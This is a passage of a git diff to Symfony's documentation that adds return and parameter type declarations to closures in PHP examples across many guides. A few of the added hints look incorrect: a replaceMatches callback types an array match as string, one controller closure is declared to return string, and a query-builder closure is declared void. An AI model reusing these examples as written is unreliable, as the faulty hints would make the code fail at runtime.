     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-    return function (array $context) {
+    return function (array $context): Application {
         $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
 
         // returning an "Application" makes the Runtime run a Console
@@ -112,12 +112,13 @@ Resolvable Arguments
 The closure returned from the front-controller may have zero or more arguments::
 
     // public/index.php
+    use Symfony\Bundle\FrameworkBundle\Console\Application;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
 
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-    return function (InputInterface $input, OutputInterface $output) {
+    return function (InputInterface $input, OutputInterface $output): Application {
         // ...
     };
 
@@ -162,7 +163,7 @@ a number of different applications are supported::
 
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-    return function () {
+    return static function (): Kernel {
         return new Kernel('prod', false);
     };
 
@@ -181,7 +182,7 @@ The ``SymfonyRuntime`` can handle these applications:
 
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-        return function () {
+        return static function (): Response {
             return new Response('Hello world');
         };
 
@@ -195,8 +196,8 @@ The ``SymfonyRuntime`` can handle these applications:
 
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-        return function (Command $command) {
-            $command->setCode(function (InputInterface $input, OutputInterface $output) {
+        return static function (Command $command): Command {
+            $command->setCode(static function (InputInterface $input, OutputInterface $output): void {
                 $output->write('Hello World');
             });
 
@@ -214,9 +215,9 @@ The ``SymfonyRuntime`` can handle these applications:
 
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-        return function (array $context) {
+        return static function (array $context): Application {
             $command = new Command('hello');
-            $command->setCode(function (InputInterface $input, OutputInterface $output) {
+            $command->setCode(static function (InputInterface $input, OutputInterface $output): void {
                 $output->write('Hello World');
             });
 
@@ -239,7 +240,7 @@ applications:
 
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-        return function () {
+        return static function (): RunnerInterface {
             return new class implements RunnerInterface {
                 public function run(): int
                 {
@@ -257,8 +258,8 @@ applications:
         // public/index.php
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-        return function () {
-            $app = function() {
+        return static function (): callable {
+            $app = static function(): int {
                 echo 'Hello World';
 
                 return 0;
@@ -273,7 +274,7 @@ applications:
 
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-        return function () {
+        return function (): void {
             echo 'Hello world';
         };
 
@@ -393,6 +394,7 @@ However, a ReactPHP application will need some special logic to *run*. That logi
 is added in a new class implementing :class:`Symfony\\Component\\Runtime\\RunnerInterface`::
 
     use Psr\Http\Message\ServerRequestInterface;
+    use Psr\Http\Message\ResponseInterface;
     use Psr\Http\Server\RequestHandlerInterface;
     use React\EventLoop\Factory as ReactFactory;
     use React\Http\Server as ReactHttpServer;
@@ -415,7 +417,7 @@ is added in a new class implementing :class:`Symfony\\Component\\Runtime\\Runner
             // configure ReactPHP to correctly handle the PSR-15 application
             $server = new ReactHttpServer(
                 $loop,
-                function (ServerRequestInterface $request) use ($application) {
+                function (ServerRequestInterface $request) use ($application): ResponseInterface {
                     return $application->handle($request);
                 }
             );
@@ -462,7 +464,7 @@ The end user will now be able to create front controller like::
 
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-    return function (array $context) {
+    return function (array $context): SomeCustomPsr15Application {
         return new SomeCustomPsr15Application();
     };
 
diff --git a/components/serializer.rst b/components/serializer.rst
index e08bd5c1f07..352f81b527d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -723,7 +723,7 @@ When serializing, you can set a callback to format a specific object property::
     $encoder = new JsonEncoder();
 
     // all callback parameters are optional (you can omit the ones you don't use)
-    $dateCallback = function ($innerObject, $outerObject, string $attributeName, string $format = null, array $context = []) {
+    $dateCallback = function (object $innerObject, object $outerObject, string $attributeName, string $format = null, array $context = []): string {
         return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ISO8601) : '';
     };
 
@@ -1381,7 +1381,7 @@ having unique identifiers::
 
     $encoder = new JsonEncoder();
     $defaultContext = [
-        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function ($object, $format, $context) {
+        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, string $format, array $context): string {
             return $object->getName();
         },
     ];
@@ -1519,7 +1519,7 @@ having unique identifiers::
     $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
 
     // all callback parameters are optional (you can omit the ones you don't use)
-    $maxDepthHandler = function ($innerObject, $outerObject, string $attributeName, string $format = null, array $context = []) {
+    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, string $format = null, array $context = []): string {
         return '/foos/'.$innerObject->id;
     };
 
diff --git a/components/string.rst b/components/string.rst
index d294cdacd31..bea4705ff05 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -352,7 +352,7 @@ Methods to Search and Replace
     // replaces all occurrences of the given regular expression
     u('(+1) 206-555-0100')->replaceMatches('/[^A-Za-z0-9]++/', ''); // '12065550100'
     // you can pass a callable as the second argument to perform advanced replacements
-    u('123')->replaceMatches('/\d/', function ($match) {
+    u('123')->replaceMatches('/\d/', function (string $match): string {
         return '['.$match[0].']';
     }); // result = '[1][2][3]'
 
@@ -461,7 +461,7 @@ class that allows to store a string whose value is only generated when you need
 
     use Symfony\Component\String\LazyString;
 
-    $lazyString = LazyString::fromCallable(function () {
+    $lazyString = LazyString::fromCallable(function (): string {
         // Compute the string value...
         $value = ...;
 
@@ -518,7 +518,7 @@ that only includes safe ASCII characters::
     // $slug = '10-percent-or-5-euro'
 
     // for more dynamic substitutions, pass a PHP closure instead of an array
-    $slugger = new AsciiSlugger('en', function ($string, $locale) {
+    $slugger = new AsciiSlugger('en', function (string $string, string $locale): string {
         return str_replace('❤️', 'love', $string);
     });
 
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index ccde974b9e5..face02f8484 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -169,7 +169,7 @@ Outside a Symfony application, use the :class:`Symfony\\Component\\VarDumper\\Du
         'source' => new SourceContextProvider(),
     ]);
 
-    VarDumper::setHandler(function ($var) use ($cloner, $dumper) {
+    VarDumper::setHandler(function (mixed $var) use ($cloner, $dumper): ?string {
         $dumper->dump($cloner->cloneVar($var));
     });
 
@@ -481,7 +481,7 @@ like this::
     use Symfony\Component\VarDumper\Dumper\HtmlDumper;
     use Symfony\Component\VarDumper\VarDumper;
 
-    VarDumper::setHandler(function ($var) {
+    VarDumper::setHandler(function (mixed $var): ?string {
         $cloner = new VarCloner();
         $dumper = 'cli' === PHP_SAPI ? new CliDumper() : new HtmlDumper();
 
@@ -599,7 +599,7 @@ For example, to get a dump as a string in a variable, you can do::
 
     $dumper->dump(
         $cloner->cloneVar($variable),
-        function ($line, $depth) use (&$output) {
+        function (int $line, int $depth) use (&$output): void {
             // A negative depth means "end of dump"
             if ($depth >= 0) {
                 // Adds a two spaces indentation to the line
diff --git a/configuration.rst b/configuration.rst
index b7ccac2ece7..72b567f5a62 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -489,7 +489,7 @@ files directly in the ``config/packages/`` directory.
             use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
             use Symfony\Config\WebpackEncoreConfig;
 
-            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $container) {
+            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $container): void {
                 $webpackEncore
                     ->outputPath('%kernel.project_dir%/public/build')
                     ->strictMode(true)
@@ -1090,7 +1090,7 @@ namespace ``Symfony\Config``::
     // config/packages/security.php
     use Symfony\Config\SecurityConfig;
 
-    return static function (SecurityConfig $security) {
+    return static function (SecurityConfig $security): void {
         $security->firewall('main')
             ->pattern('^/*')
             ->lazy(true)
diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index 2da948dbe55..b55f66afc33 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -186,7 +186,7 @@ parameter used, for example, to turn Twig's debug mode on:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
             $twig->debug('%kernel.debug%');
         };
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 9464fcf39f7..edfcb371864 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -244,7 +244,7 @@ application::
     use Shared\Kernel;
     // ...
 
-    return function (array $context) {
+    return function (array $context): Kernel {
         return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $context['APP_ID']);
     };
 
@@ -259,7 +259,7 @@ the application ID to run under CLI context::
     use Shared\Kernel;
     // ...
 
-    return function (InputInterface $input, array $context) {
+    return function (InputInterface $input, array $context): Application {
         $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $input->getParameterOption(['--id', '-i'], $context['APP_ID']));
 
         $application = new Application($kernel);
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 4fb5524a2aa..e0d27a52b8c 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -190,7 +190,7 @@ for multiple directories):
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->defaultPath('%kernel.project_dir%/resources/views');
         };
 
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index bd52ea0895a..8afb6d02683 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -139,7 +139,7 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference it by:
         // config/packages/doctrine.php
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $doctrine->dbal()
                 ->connection('default')
                     ->password(env('DATABASE_PASSWORD'))
diff --git a/console/input.rst b/console/input.rst
index 2815fe1b543..2e6d9a1a438 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -337,7 +337,7 @@ To achieve this, use the 5th argument of ``addArgument()``/``addOption``::
                     InputArgument::IS_ARRAY,
                     'Who do you want to greet (separate multiple names with a space)?',
                     null,
-                    function (CompletionInput $input) {
+                    function (CompletionInput $input): array {
                         // the value the user already typed, e.g. when typing "app:greet Fa" before
                         // pressing Tab, this will contain "Fa"
                         $currentValue = $input->getCompletionValue();
diff --git a/console/lazy_commands.rst b/console/lazy_commands.rst
index 6d1f245eb75..f76e3fc29a5 100644
--- a/console/lazy_commands.rst
+++ b/console/lazy_commands.rst
@@ -15,10 +15,11 @@ which will be responsible for returning ``Command`` instances::
 
     use App\Command\HeavyCommand;
     use Symfony\Component\Console\Application;
+    use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\CommandLoader\FactoryCommandLoader;
 
     $commandLoader = new FactoryCommandLoader([
-        'app:heavy' => function () { return new HeavyCommand(); },
+        'app:heavy' => function (): Command { return new HeavyCommand(); },
     ]);
 
     $application = new Application();
@@ -45,10 +46,11 @@ The :class:`Symfony\\Component\\Console\\CommandLoader\\FactoryCommandLoader`
 class provides a way of getting commands lazily loaded as it takes an
 array of ``Command`` factories as its only constructor argument::
 
+    use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\CommandLoader\FactoryCommandLoader;
 
     $commandLoader = new FactoryCommandLoader([
-        'app:foo' => function () { return new FooCommand(); },
+        'app:foo' => function (): Command { return new FooCommand(); },
         'app:bar' => [BarCommand::class, 'create'],
     ]);
 
diff --git a/console/style.rst b/console/style.rst
index ec641440186..3b3af53b678 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -275,7 +275,7 @@ User Input Methods
     In case you need to validate the given value, pass a callback validator as
     the third argument::
 
-        $io->ask('Number of workers to start', '1', function ($number) {
+        $io->ask('Number of workers to start', '1', function (string $number): int {
             if (!is_numeric($number)) {
                 throw new \RuntimeException('You must type a number.');
             }
@@ -292,7 +292,7 @@ User Input Methods
     In case you need to validate the given value, pass a callback validator as
     the second argument::
 
-        $io->askHidden('What is your password?', function ($password) {
+        $io->askHidden('What is your password?', function (string $password): string {
             if (empty($password)) {
                 throw new \RuntimeException('Password cannot be empty.');
             }
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index d28c51cce99..8493d65c2f4 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -178,7 +178,7 @@ automatically when installing ``symfony/framework-bundle``):
         // config/routes/framework.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             if ('dev' === $routes->env()) {
                 $routes->import('@FrameworkBundle/Resources/config/routing/errors.xml')
                     ->prefix('/_error')
diff --git a/controller/service.rst b/controller/service.rst
index 5b629ca978e..33aef36d64d 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -100,7 +100,7 @@ a service like: ``App\Controller\HelloController::index``:
         use App\Controller\HelloController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('hello', '/hello')
                 ->controller([HelloController::class, 'index'])
                 ->methods(['GET'])
diff --git a/create_framework/event_dispatcher.rst b/create_framework/event_dispatcher.rst
index 63457fe8462..e4921097a33 100644
--- a/create_framework/event_dispatcher.rst
+++ b/create_framework/event_dispatcher.rst
@@ -117,7 +117,7 @@ the registration of a listener for the ``response`` event::
     use Symfony\Component\EventDispatcher\EventDispatcher;
 
     $dispatcher = new EventDispatcher();
-    $dispatcher->addListener('response', function (Simplex\ResponseEvent $event) {
+    $dispatcher->addListener('response', function (Simplex\ResponseEvent $event): void {
         $response = $event->getResponse();
 
         if ($response->isRedirection()
@@ -156,7 +156,7 @@ So far so good, but let's add another listener on the same event. Let's say
 that we want to set the ``Content-Length`` of the Response if it is not already
 set::
 
-    $dispatcher->addListener('response', function (Simplex\ResponseEvent $event) {
+    $dispatcher->addListener('response', function (Simplex\ResponseEvent $event): void {
         $response = $event->getResponse();
         $headers = $response->headers;
 
@@ -174,7 +174,7 @@ a positive number; negative numbers can be used for low priority listeners.
 Here, we want the ``Content-Length`` listener to be executed last, so change
 the priority to ``-255``::
 
-    $dispatcher->addListener('response', function (Simplex\ResponseEvent $event) {
+    $dispatcher->addListener('response', function (Simplex\ResponseEvent $event): void {
         $response = $event->getResponse();
         $headers = $response->headers;
 
diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index 0f4e565b084..fdb2a0b3f5d 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -69,7 +69,7 @@ Our code is now much more concise and surprisingly more robust and more
 powerful than ever. For instance, use the built-in ``ErrorListener`` to
 make your error management configurable::
 
-    $errorHandler = function (Symfony\Component\ErrorHandler\Exception\FlattenException $exception) {
+    $errorHandler = function (Symfony\Component\ErrorHandler\Exception\FlattenException $exception): Response {
         $msg = 'Something went wrong! ('.$exception->getMessage().')';
 
         return new Response($msg, $exception->getStatusCode());
diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 6fca67d84a1..908a17f2a8e 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -74,7 +74,7 @@ can still use the ``render_template()`` to render a template::
 
     $routes->add('hello', new Routing\Route('/hello/{name}', [
         'name' => 'World',
-        '_controller' => function ($request) {
+        '_controller' => function (Request $request): string {
             return render_template($request);
         }
     ]));
@@ -84,7 +84,7 @@ you can even pass additional arguments to the template::
 
     $routes->add('hello', new Routing\Route('/hello/{name}', [
         'name' => 'World',
-        '_controller' => function ($request) {
+        '_controller' => function (Request $request): Response {
             // $foo will be available in the template
             $request->attributes->set('foo', 'bar');
 
@@ -157,7 +157,7 @@ framework does not need to be modified in any way, create a new
     $routes = new Routing\RouteCollection();
     $routes->add('leap_year', new Routing\Route('/is_leap_year/{year}', [
         'year' => null,
-        '_controller' => function ($request) {
+        '_controller' => function (Request $request): Response {
             if (is_leap_year($request->attributes->get('year'))) {
                 return new Response('Yep, this is a leap year!');
             }
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index f615ad1fcd5..1b3aa4aa185 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -56,7 +56,7 @@ In Symfony, you can register your custom DQL functions as follows:
         use App\DQL\StringFunction;
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $defaultDql = $doctrine->orm()
                 ->entityManager('default')
                     // ...
@@ -123,7 +123,7 @@ In Symfony, you can register your custom DQL functions as follows:
             use App\DQL\DatetimeFunction;
             use Symfony\Config\DoctrineConfig;
 
-            return static function (DoctrineConfig $doctrine) {
+            return static function (DoctrineConfig $doctrine): void {
                 $doctrine->orm()
                     // ...
                     ->entityManager('example_manager')
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 544428a9691..a400cee0324 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -104,7 +104,7 @@ mapping types, read Doctrine's `Custom Mapping Types`_ section of their document
         use App\Type\CustomSecond;
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $dbal = $doctrine->dbal();
             $dbal->type('custom_first')->class(CustomFirst::class);
             $dbal->type('custom_second')->class(CustomSecond::class);
@@ -153,7 +153,7 @@ mapping type:
         // config/packages/doctrine.php
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $dbalDefault = $doctrine->dbal()
                 ->connection('default');
             $dbalDefault->mappingType('enum', 'string');
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 081239bcd9f..85ac329f411 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -111,7 +111,7 @@ The following configuration code shows how you can configure two entity managers
         // config/packages/doctrine.php
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             // Connections:
             $doctrine->dbal()
                 ->connection('default')
@@ -120,7 +120,7 @@ The following configuration code shows how you can configure two entity managers
                 ->connection('customer')
                 ->url(env('CUSTOMER_DATABASE_URL')->resolve());
             $doctrine->dbal()->defaultConnection('default');
-            
+
             // Entity Managers:
             $doctrine->orm()->defaultEntityManager('default');
             $defaultEntityManager = $doctrine->orm()->entityManager('default');
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 81de0c75ff0..fcb977fc47f 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -134,7 +134,7 @@ about the replacement:
         use App\Model\InvoiceSubjectInterface;
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $orm = $doctrine->orm();
             // ...
             $orm->resolveTargetEntity(InvoiceSubjectInterface::class, Customer::class);
diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index bbcd0819369..eef016aa58a 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -57,7 +57,7 @@ configuration:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->formThemes(['bootstrap_4_layout.html.twig']);
 
             // ...
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 6729e0974ad..0d200114ef4 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -395,7 +395,7 @@ rest of files):
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->formThemes([
                 'form/custom_types.html.twig',
                 '...',
diff --git a/form/data_based_validation.rst b/form/data_based_validation.rst
index 400b4f3ff9a..b01bea10b16 100644
--- a/form/data_based_validation.rst
+++ b/form/data_based_validation.rst
@@ -32,7 +32,7 @@ example).  You can also define whole logic inline by using a ``Closure``::
     public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
-            'validation_groups' => function (FormInterface $form) {
+            'validation_groups' => function (FormInterface $form): array {
                 $data = $form->getData();
 
                 if (Client::TYPE_PERSON == $data->getType()) {
@@ -56,7 +56,7 @@ of the entity as well you have to adjust the option as follows::
     public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
-            'validation_groups' => function (FormInterface $form) {
+            'validation_groups' => function (FormInterface $form): array {
                 $data = $form->getData();
 
                 if (Client::TYPE_PERSON == $data->getType()) {
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 0911a40f999..77772b24c5f 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -93,7 +93,7 @@ creating that particular field is delegated to an event listener::
         {
             $builder->add('price');
 
-            $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) {
+            $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event): void {
                 // ... adding the name field if needed
             });
         }
@@ -109,7 +109,7 @@ the event listener might look like the following::
     public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
-        $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) {
+        $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event): void {
             $product = $event->getData();
             $form = $event->getForm();
 
@@ -220,7 +220,7 @@ Using an event listener, your form might look like this::
                 ->add('subject', TextType::class)
                 ->add('body', TextareaType::class)
             ;
-            $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) {
+            $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event): void {
                 // ... add a choice list of friends of the current application user
             });
         }
@@ -282,7 +282,7 @@ security helper to fill in the listener logic::
                 );
             }
 
-            $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) use ($user) {
+            $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) use ($user): void {
                 if (null !== $event->getData()->getFriend()) {
                     // we don't need to add the friend field because
                     // the message will be addressed to a fixed friend
@@ -294,7 +294,7 @@ security helper to fill in the listener logic::
                 $formOptions = [
                     'class' => User::class,
                     'choice_label' => 'fullName',
-                    'query_builder' => function (UserRepository $userRepository) use ($user) {
+                    'query_builder' => function (UserRepository $userRepository) use ($user): void {
                         // call a method on your repository that returns the query builder
                         // return $userRepository->createFriendsQueryBuilder($user);
                     },
@@ -392,7 +392,7 @@ sport like this::
 
             $builder->addEventListener(
                 FormEvents::PRE_SET_DATA,
-                function (FormEvent $event) {
+                function (FormEvent $event): void {
                     $form = $event->getForm();
 
                     // this would be your entity, i.e. SportMeetup
@@ -455,7 +455,7 @@ The type would now look like::
                 ])
             ;
 
-            $formModifier = function (FormInterface $form, Sport $sport = null) {
+            $formModifier = function (FormInterface $form, Sport $sport = null): void {
                 $positions = null === $sport ? [] : $sport->getAvailablePositions();
 
                 $form->add('position', EntityType::class, [
@@ -467,7 +467,7 @@ The type would now look like::
 
             $builder->addEventListener(
                 FormEvents::PRE_SET_DATA,
-                function (FormEvent $event) use ($formModifier) {
+                function (FormEvent $event) use ($formModifier): void {
                     // this would be your entity, i.e. SportMeetup
                     $data = $event->getData();
 
@@ -477,7 +477,7 @@ The type would now look like::
 
             $builder->get('sport')->addEventListener(
                 FormEvents::POST_SUBMIT,
-                function (FormEvent $event) use ($formModifier) {
+                function (FormEvent $event) use ($formModifier): void {
                     // It's important here to fetch $event->getForm()->getData(), as
                     // $event->getData() will get you the client data (that is, the ID)
                     $sport = $event->getForm()->getData();
diff --git a/form/events.rst b/form/events.rst
index 6114cbd0c9c..a238ecec17d 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -16,7 +16,7 @@ register an event listener to the ``FormEvents::PRE_SUBMIT`` event as follows::
     use Symfony\Component\Form\FormEvent;
     use Symfony\Component\Form\FormEvents;
 
-    $listener = function (FormEvent $event) {
+    $listener = function (FormEvent $event): void {
         // ...
     };
 
diff --git a/form/form_themes.rst b/form/form_themes.rst
index a2a778988dd..2346e7961cd 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -89,7 +89,7 @@ want to use another theme for all the forms of your app, configure it in the
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->formThemes([
                 'bootstrap_5_horizontal_layout.html.twig',
             ]);
@@ -514,7 +514,7 @@ you want to apply the theme globally to all forms, define the
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->formThemes([
                 'form/my_theme.html.twig',
             ]);
diff --git a/forms.rst b/forms.rst
index 9a673dc4fc6..169d9f8220d 100644
--- a/forms.rst
+++ b/forms.rst
@@ -352,7 +352,7 @@ can set this option to generate forms compatible with the Bootstrap 5 CSS framew
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->formThemes(['bootstrap_5_layout.html.twig']);
 
             // ...
diff --git a/http_cache.rst b/http_cache.rst
index ee273079a6a..71a05bfad41 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -104,7 +104,7 @@ Use the ``framework.http_cache`` option to enable the proxy for the
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework, string $env) {
+        return static function (FrameworkConfig $framework, string $env): void {
             if ('prod' === $env) {
                 $framework->httpCache()->enabled(true);
             }
diff --git a/http_client.rst b/http_client.rst
index b0a58670133..68d1d361138 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1535,12 +1535,12 @@ Then you're ready to go::
     $request = $httpClient->createRequest('GET', 'https://my.api.com/');
     $promise = $httpClient->sendAsyncRequest($request)
         ->then(
-            function (ResponseInterface $response) {
+            function (ResponseInterface $response): ResponseInterface {
                 echo 'Got status '.$response->getStatusCode();
 
                 return $response;
             },
-            function (\Throwable $exception) {
+            function (\Throwable $exception): never {
                 echo 'Error: '.$exception->getMessage();
 
                 throw $exception;
@@ -1656,7 +1656,7 @@ processing the stream of chunks as they come back from the network::
         {
             // process and/or change the $method, $url and/or $options as needed
 
-            $passthru = function (ChunkInterface $chunk, AsyncContext $context) {
+            $passthru = function (ChunkInterface $chunk, AsyncContext $context): \Generator {
                 // do what you want with chunks, e.g. split them
                 // in smaller chunks, group them, skip some, etc.
 
@@ -1746,7 +1746,7 @@ responses dynamically when it's called::
     use Symfony\Component\HttpClient\MockHttpClient;
     use Symfony\Component\HttpClient\Response\MockResponse;
 
-    $callback = function ($method, $url, $options) {
+    $callback = function ($method, $url, $options): MockResponse {
         return new MockResponse('...');
     };
 
@@ -1757,13 +1757,13 @@ You can also pass a list of callbacks if you need to perform specific
 assertions on the request before returning the mocked response::
 
     $expectedRequests = [
-        function ($method, $url, $options) {
+        function ($method, $url, $options): MockResponse {
             $this->assertSame('GET', $method);
             $this->assertSame('https://example.com/api/v1/customer', $url);
 
             return new MockResponse('...');
         },
-        function ($method, $url, $options) {
+        function ($method, $url, $options): MockResponse {
             $this->assertSame('POST', $method);
             $this->assertSame('https://example.com/api/v1/customer/1/products', $url);
 
@@ -1807,7 +1807,7 @@ The responses provided to the mock client don't have to be instances of
 
 However, using ``MockResponse`` allows simulating chunked responses and timeouts::
 
-    $body = function () {
+    $body = function (): \Generator {
         yield 'hello';
         // empty strings are turned into timeouts so that they are easy to test
         yield '';
diff --git a/logging.rst b/logging.rst
index c546701f78d..ecc14a9b8b0 100644
--- a/logging.rst
+++ b/logging.rst
@@ -156,7 +156,7 @@ to write logs using the :phpfunction:`syslog` function:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             // this "file_log" key could be anything
             $monolog->handler('file_log')
                 ->type('stream')
@@ -255,7 +255,7 @@ one of the messages reaches an ``action_level``. Take this example:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('filter_for_errors')
                 ->type('fingers_crossed')
                 // if *one* log is error or higher, pass *all* to file_log
@@ -350,7 +350,7 @@ option of your handler to ``rotating_file``:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('main')
                 ->type('rotating_file')
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 3e607d825ce..3b21f7f08a2 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -77,7 +77,7 @@ can do it in any (or all) environments:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('security')
                 ->type('stream')
                 ->path('%kernel.logs_dir%/security.log')
@@ -158,7 +158,7 @@ You can also configure additional channels without the need to tag your services
         // config/packages/prod/monolog.php
